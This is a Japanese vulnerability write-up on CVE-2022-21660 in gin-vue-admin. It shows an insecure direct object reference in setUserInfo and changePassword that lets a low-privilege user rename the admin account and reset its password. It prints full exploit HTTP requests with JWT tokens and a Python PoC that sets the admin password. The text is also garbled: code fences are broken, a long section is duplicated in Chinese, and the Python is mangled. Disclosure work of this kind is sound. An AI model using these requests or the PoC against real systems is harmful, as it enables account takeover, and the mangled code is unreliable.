
CVE-2022-21660
各位の皆様、このプロジェクトにスターを一つお願いいたします。```http https://github.com/flipped-aurora/gin-vue-admin/

文章を書き終えた後、CVEの申請には多少の手間がかかりましたが、何とか取得できました。GitHubのスタッフの対応は迅速でした。
> ps CVE申請前に、既にCNVDに提出済み

### 二、環境構築
公式チュートリアルに従って```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
その後、serverディレクトリに入ります```bash go generate
```bash
go build -o server main.go
その後直接serverを実行します

その後はWEBです。webディレクトリに移動し、入力```bash cnpm install || npm install
その後、待つだけでOKです

その後、インストールが完了すると自動的にWEBページが開きます


その後、データベース情報を初期化設定します

設定が完了したら、初期化をクリックしてログインします

### 三、脆弱性の再現
### SetUserInfoに垂直権限昇格が存在
##### 1、SetUserInfoインターフェースによるユーザー個人情報の権限昇格設定
ユーザー管理ページに直接移動し、低権限のユーザーロールを新規作成します

上記では管理者権限が与えられていないことがわかります。次に新しいアカウントを作成し、このロールグループに割り当てます


脆弱性が発生する場所は https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go の273行目です
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
ここでは入力されたIDの検証が行われていません。IDはユーザーを表すもので、指定されたIDを直接渡すことで、該当ユーザーの個人情報を変更できます。

まず管理者のX-tokenを使って、IDが1のユーザーの名前をtest1に変更してみます。その後、バックエンドで管理者のIDがtest1に変更されたことを確認できます。

次に、先ほど新規作成したUzJu_HxSecTeamアカウントのTokenを置き換えて、管理者のユーザー名をtest2に変更します。
まずUzJu_HxSecTeamのアカウントで個人情報>パスワード変更に移動し、適当にパスワードを変更して、アカウントのTokenを取得します。

このTokenは低権限のロールのものです。通常、低権限のユーザーは管理者の情報を一切変更できません。```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Tokenを置き換えて、以下のようなJSONデータを構築します。```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Token を setUserinfo インターフェースに置き換えます。```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
その後、設定成功のプロンプトが表示されます

ここで管理アカウントに切り替え、管理者が test2 に変更されているか確認します

管理者ユーザーが正常に変更されていることが確認できます
##### 2、SetUserInfo インターフェースの垂直権限昇格により管理者パスワードを無条件に変更
デバッグ中に、権限昇格によって個人情報を設定するインターフェース setUserInfo では、id, username, nickname, headimg だけでなく、password などのパラメータも渡せることを発見しました

例えば、リクエストを構築して、ID が 1 のユーザー名を admin に、ニックネームを 超级用户管理员 に設定します
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}
この時点で管理者のパスワードは qwe@123 に変更されています。ログインを試みます。

その後、ログイン成功

PS: ここでは前提条件があります。変更したいユーザーのパスワードを知っている必要があります。
まず、デフォルトの管理者パスワードが 123456 であることが分かっています。このとき、JSONデータを構築し、そのJSONデータ内の username パラメータを、権限昇格で変更したいユーザー名に書き換えるだけで済みます。
まず、低権限のアカウントでログインし、パスワードを1回変更します。

changePassword のリクエストがキャプチャされるので、このリクエストをRepeaterに送ります。

その後、username パラメータを admin に変更するだけです。

変更が成功したと表示されるので、新しいパスワードを使って admin にログインします。

その後、ログイン成功

脆弱性が存在する場所は https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go の139行目です。```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }
> ここに議論があります。他人のアカウントとパスワードを知っているなら、直接そのアカウントにログインすれば良いではないか?確かにその通りですが、ここでのプログラムのロジックフローは、すでに認証が完了している状態です。通常、現在のユーザーは自分のパスワードのみ変更できるはずですが、ここではIDを変更することで他人のパスワードを変更できます。別の視点から見ると、これもブルートフォース攻撃が可能ということです。なぜなら、ログインページにはキャプチャ認証があるからです。
### 四、脆弱性の原理分析
> ps: 以下の内容はすべて、Goを全く学んだことがなく、開発経験もなく、Pythonしか使えないスクリプトキディの理解によるものです。
まず、通常のビジネスロジックから見て、なぜここで権限昇格が発生するのか。原理は比較的簡単です。主な理由は、新しいロールの権限を作成する際に、いくつかの必須パラメータがあるからです。これらのパラメータを選択すると、ユーザーに権限昇格の機会が生まれます(ただし、選択しないわけにはいきません。デフォルトの必須パラメータだからです)。結局のところ、コード自体に論理的な問題があるのです。

まず、ロールを作成した後、ロールの権限を確認します。

デフォルトで作成されたユーザー権限は、ロールメニューにおいて、ダッシュボードへのアクセス権のみがあります。しかし、ロールのAPI権限を確認すると、以下のようになります。

ここにいくつかの必須権限があります。
+ ユーザー登録
+ ユーザー情報設定
+ 自身の情報取得
+ パスワード変更
+ ユーザーロール変更
これが今回の脆弱性の根源です。まず「ユーザー情報設定」について、チェックを外してみます。

次に、低権限ロールグループのアカウントのTokenをBurpに入れて試します。
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}
可以很清楚的看到,目前我们已经没有权限来设置这些用户信息了,而且在Go的Debug页面我们也很容易发现,代码逻辑,比如我们现在是没有权限进行设置用户信息的,但是在代码中理论来说,我访问了这个接口,我Debug的断点应该是可以拦截的,但是如下图,我下断点之后,程序居然没有停止

从这里就能判断,在此操作之前,应该是有一个鉴权操作(常见的应该是rbac吧)那么我们现在给低权限角色组设置用户的权限,我们再进行重放看看


我们可以看到,程序成功停止在了这里,那么我想(go小白)应该可以通过Debug的方式,来找到这里的鉴权:)
首先Mac下command键鼠标左键来找哪里调用了这个函数

然后可以看到这里有一个初始化用户路由的一个函数InitUserRouter

那么继续老办法,Command+鼠标左键来判断哪里调用了InitUserRoute

这里注意,有一个JWTAuth()还有一个middleware.CasbinHandler()
首先我们先来看middleware.JWTAuth(),还是老方法Command+鼠标左键

然后来到一个jwt.go,这里的逻辑我们可以看一下(当然也感谢作者写了一些注释)

go中token:=应该是相当于定义一个变量来接收请求中的header中的x-token,首先就是判断token是不是为空,如果为空的话直接返回用户未登录或非法访问

随后就是判断用户的token是否在黑名单里面,这里应该是通过缓存或者用户退出的时候来判断,这个token是不是已经失效了吧,如果失效了就会返回告诉用户异地登录或令牌失效了

这里首先传给ParseToken这个函数来解析Token,可以跟过去看一下

不懂jwt.ParseWithClaims是啥。。。传统艺能,google.com

这里是用来JWT加解密的,然后返回一个SigningKey,然后继续往下走
感谢作者的指点:此处将传入的jwt token串进行解析,获得jwt.Token结构体,然后从结构体解析出Claims获取之前我们生成token时挂载在上面的用户信息。

通过Google知道了ValidationErrorMalformed用来判断是否是错误的token,然后再通过ValidationErrorExpired来判断是否已过期,然后再通过ValidationErrorNotValidYet判断token是否激活,然后就是返回了。虽然下面还有一段代码

随后判断token是否过期,如果没有过期,则走到了reload,随后我们来到middleware.CasbinHandler()

首先进入到utils.GetClaims并且传入一个参数

这里函数用来获取x-token随后解析该token来判断是否过期等

随后判断用户的角色,这里的1234,也就是我们web设置的角色组ID


随后进入casbinService.Casbin(),传统艺能,直接百度

跟之前猜想的差不多,rbac权限控制,这里是连接数据库,然后这里F7单步步入看了一下,劝退了,看不懂

看注释可以判断,这里用来判断权限
机翻: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).
强制决定“subject”是否可以通过操作“action”访问“object”,输入参数通常是:(sub, obj, act)。

随后判断是否在开发环境,然后success等于false,这里|| 或者的意思,要么成功,要么提示权限不足
我们来看看有权限后,越权的setuserinfo接口是怎么走的,首先我们在拦截器这个地方下一个断点

Tips: 通过百度发现这里用的是golang的casbin访问控制框架
然后在setuserinfo这里也下一个断点

因为拦截器在程序逻辑中在setuserinfo前面,所以我们从拦截器开始调
burp发送请求之后,一直等待,此时我们单步调试看看

此时我们的角色组为1234

随后是连接数据库,再之后就是检查权限


这里返回了一个true,说明权限存在,随后就是判断是否为开发环境或者success等于true了,这里肯定会经过第一个if,
随后就来到了setuserinfo接口

shouldBindJson 绑定了Json参数

随后这里,应该是用来判断传入的Json参数是否正确

下面直接直接将userid代入了进去

这里的ID是我们前端传入的,可以任意修改,所以就导致了越权


随后代入到数据库之后,更新后返回

随后则是更新成功
主要的鉴权操作都在cashbin.rbac.go这个文件中的CasbinHandler函数,中的casbinService.Casbin()和e.Enforce(sub, obj, act)
我对这里的越权理解是,如果给了设置用户信息的权限,那么默认这个用户在权限规则中就可以修改用户信息,然后在修改的时候,替换成别人的ID即可修改为别人的
到这里可以明白了,首先鉴权判断的是AuthorityId,来判断用户是否有权限操作某个接口

但是在setuserinfo使用的ID却是用户的账号ID

所以就导致了越权,因为这个ID可以前端传入的时候可以控制,并且也已经鉴权之后了,在与作者沟通之后,解释说修复也比较简单,只需要将user.id强制赋值为JWT所对应的权限ID即可,这样就不会造成越权了,因为前端怎么传入,最终在代码中还是有一行会将user.id的值修改为当前JWT所对应的id
但是在业务流程逻辑中,这些权限又是必须给的,因为不给的话,当前用户是没有办法修改自己的信息的

はっきりとわかるように、現在私たちにはこれらのユーザー情報を設定する権限がありません。また、GoのDebugページでも簡単に確認できますが、コードロジック上、例えば現在はユーザー情報を設定する権限がないとします。しかしコード上では理論的に、このインターフェースにアクセスした場合、Debugのブレークポイントで捉えられるはずです。ところが下図のように、ブレークポイントを設定してもプログラムが停止しませんでした。

ここから判断できるのは、この操作の前に認証処理(一般的にはrbacでしょうか)が存在するはずだということです。そこで、今度は低権限ロールグループにユーザー設定の権限を与えて、再度リプレイしてみます。


プログラムが正常にそこで停止しました。ということは、(Go初心者ですが)Debugを使ってこの認証部分を見つけられるはずです:)
まずMacでCommandキーを押しながらマウス左クリックで、この関数がどこから呼ばれているかを探します。

すると、ユーザールートを初期化する関数InitUserRouterがあるのがわかります。

では、同じ方法でCommand+マウス左クリックでInitUserRouteがどこから呼ばれているかを調べます。

ここで注意すべきは、JWTAuth()とmiddleware.CasbinHandler()があることです。
まずmiddleware.JWTAuth()を見てみましょう。いつもの方法でCommand+マウス左クリックです。

するとjwt.goに移動します。このロジックを見てみます(もちろん作者がコメントを書いてくれていることに感謝します)。

Goでtoken:=というのは、リクエストのヘッダーからx-tokenを受け取るための変数を定義しているようなものです。まずtokenが空かどうかを判定し、空であれば直接「ユーザー未ログインまたは不正アクセス」を返します。

次に、ユーザーのtokenがブラックリストに含まれているかを判定します。これはキャッシュやユーザーのログアウト時に判定しているのでしょう。tokenが無効になっていれば、「別の場所でログインされたか、トークンが無効です」と返します。

ここでまずParseToken関数に渡してTokenをパースします。中を見てみましょう。

jwt.ParseWithClaimsが何かわからない…。伝統の技、google.com。

これはJWTの暗号化・復号に使われていて、SigningKeyを返してから続けて進みます。
作者の指摘に感謝します。ここでは渡されたjwt token文字列をパースしてjwt.Token構造体を取得し、その構造体からClaimsをパースして、以前トークン生成時に載せたユーザー情報を取得します。

Googleで調べたところ、ValidationErrorMalformedは不正なトークンの判定に使われ、ValidationErrorExpiredで有効期限切れを判定し、ValidationErrorNotValidYetでトークンがアクティブかどうかを判定し、その後returnしています。その下にもコードがありますが。

その後、トークンが期限切れかどうかを判定し、期限切れでなければreloadに進みます。続いてmiddleware.CasbinHandler()に移動します。

まずutils.GetClaimsに入り、引数を一つ渡します。

この関数はx-tokenを取得し、そのtokenをパースして有効期限などを判定します。

次にユーザーのロールを判定します。ここにある1234は、Webで設定したロールグループのIDです。


その後、casbinService.Casbin()に入ります。伝統の技、そのまま百度です。

以前予想した通り、rbac権限制御です。ここでデータベースに接続しています。F7でステップインしてみましたが、複雑すぎて理解できませんでした。

コメントから判断すると、ここで権限を判定しているようです。
機械翻訳: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).
Enforceは、"subject"が操作"action"で"object"にアクセスできるかどうかを決定します。入力パラメーターは通常:(sub, obj, act)です。

次に開発環境かどうかを判定し、successがfalseになります。ここで||は「または」の意味で、成功するか、権限不足のエラーを出すかのどちらかです。
権限がある場合の、権限昇格(setuserinfo)インターフェースの流れを見てみましょう。まずインターセプターのところにブレークポイントを設定します。

Tips: 百度で調べたところ、ここではgolangのcasbinアクセス制御フレームワークが使われています。
次にsetuserinfoにもブレークポイントを設定します。

インターセプターはプログラムのロジック上、setuserinfoより前にありますので、インターセプターからデバッグを始めます。
Burpでリクエストを送信した後、しばらく待ちます。ここでステップ実行で確認します。

このとき、私たちのロールグループは1234です。

その後、データベースに接続し、権限チェックを行います。


ここでtrueが返ってきました。権限が存在することを示しています。次に開発環境かどうか、あるいはsuccessがtrueかどうかを判定します。ここでは必ず最初のifを通ります。
その後、setuserinfoインターフェースに到達します。

shouldBindJsonがJsonパラメーターをバインドしています。

続いてここで、受け取ったJsonパラメーターが正しいかを判定しているようです。

その下で直接useridが代入されています。

ここでのIDはフロントエンドから渡されるもので、任意に変更できるため、権限昇格が発生します。


その後、データベースに代入され、更新されて返されます。

そして更新成功です。
主要な認証処理はcashbin.rbac.goファイル内のCasbinHandler関数にあり、その中のcasbinService.Casbin()とe.Enforce(sub, obj, act)です。
私のこの権限昇格の理解は、もしユーザー情報設定の権限が与えられていれば、そのユーザーはデフォルトで権限ルール内でユーザー情報を変更できるということです。そして変更時に、他人のIDに置き換えることで他人の情報を変更できる、というものです。
ここで理解できました。まず認証ではAuthorityIdを判定して、ユーザーが特定のインターフェースを操作する権限があるかを判断します。

しかし、setuserinfoで使用されるIDはユーザーのアカウントIDです。

そのため権限昇格が発生します。このIDはフロントエンドから渡される際に制御可能であり、かつ認証も済んだ後だからです。作者と話し合ったところ、修正は比較的簡単で、user.idを強制的にJWTに対応する権限IDに割り当てれば良いとのことです。そうすれば権限昇格は発生しません。なぜならフロントエンドがどのように渡しても、コード内で最終的にuser.idの値を現在のJWTに対応するidに変更する行があるからです。
しかしビジネスフローのロジックでは、これらの権限は必ず与えなければなりません。与えなければ、現在のユーザーは自分の情報を変更できなくなってしまうからです。

#!/usr/bin/env python
''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''
import requests import json import sys
class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"
def checkVuln(self):
'''
因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
'''
payload_data = {
"id": 1,
"username": "admin",
"nickName": "超级管理员",
"Password": "qwe@123"
}
# Change the administrator password to qwe@123, because the default administrator ID is 1
headers = {
"x-token": self.jwt_token
}
result = requests.put(url=self.url + self.setUserInfo,
headers=headers,
data=json.dumps(payload_data)
)
if json.loads(result.content)['code'] == 7:
print("[-]Modify the failure")
elif json.loads(result.content)['code'] == 0:
print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")
def check_interface_ChangePassword(self):
'''
wait
'''
pass
if name == 'main': try: Banner_2 = '''
/$$ /$$ /$$$$$
| $$ | $$ |__ $$
| $$ | $$ /$$$$$$$$ | $$ /$$ /$$
| $$ | $$|____ /$$/ | $$| $$ | $$
| $$ | $$ /$$$$/ /$$ | $$| $$ | $$
| $$ | $$ /$$__/ | $$ | $$| $$ | $$
| $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/
\______/ |________/ \______/ \______/
Autor: UzJu Email: [email protected] GitHub: github.com/uzju
'''
print(Banner_2)
url = sys.argv[1]
jwt_token = sys.argv[2]
main = GinVueAdminPoc(url, jwt_token)
main.checkVuln()
except:
print("[-]please input url and token")
为什么`check_interface_ChangePassword`メソッドを書かなかったかというと、これは一種のブルートフォース攻撃インターフェースとみなされるからです。任意のユーザーのパスワードを変更する前に、変更対象のアカウントのパスワードを知らなければならず、これはブルートフォース攻撃に相当します。そのため、ここでは実装しませんでした。そして`checkvuln`メソッドについて、`payload_data`のJSONデータ内の`id`は実は任意に変更可能で、forループで走査することもできます。実際の環境では管理者のIDが1とは限らず、悪意を持って改ざんされた場合、影響を与える可能性もあるからです。

### 六、CVE申請
> CNVDについては言うまでもありませんが、すでに提出済みです。ここではCVEを申請します。
>
> GitHub経由の代行申請番号は非常に早く、通常最大3日以内、今回は当日提出した翌日の早朝にCVEの仮割り当て番号を受け取りました。
>
> 以下の操作は作者に連絡して実行してもらう必要があります。そうしないと「New Draft security advisory」ボタンが表示されません。



Descriptionに脆弱性の内容、再現手順、PoCを記入し、その後「create draft security advisory」をクリックします。
**当時、初めて申請したため、ミスを犯しました。草稿を1つ作成しただけでリクエストを行わなかったため、無駄に7日間待つことになりました。**

書き終えたら必ずページ下部までスクロールし、「request cve id」をクリックしてください。


> 参考記事:https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg
### 七、謝辞
+ 作者チームのページ:https://github.com/flipped-aurora/
+ 作者のGitHub:https://github.com/piexlmax
+ Gin-vue-adminプロジェクトアドレス:https://github.com/flipped-aurora/gin-vue-admin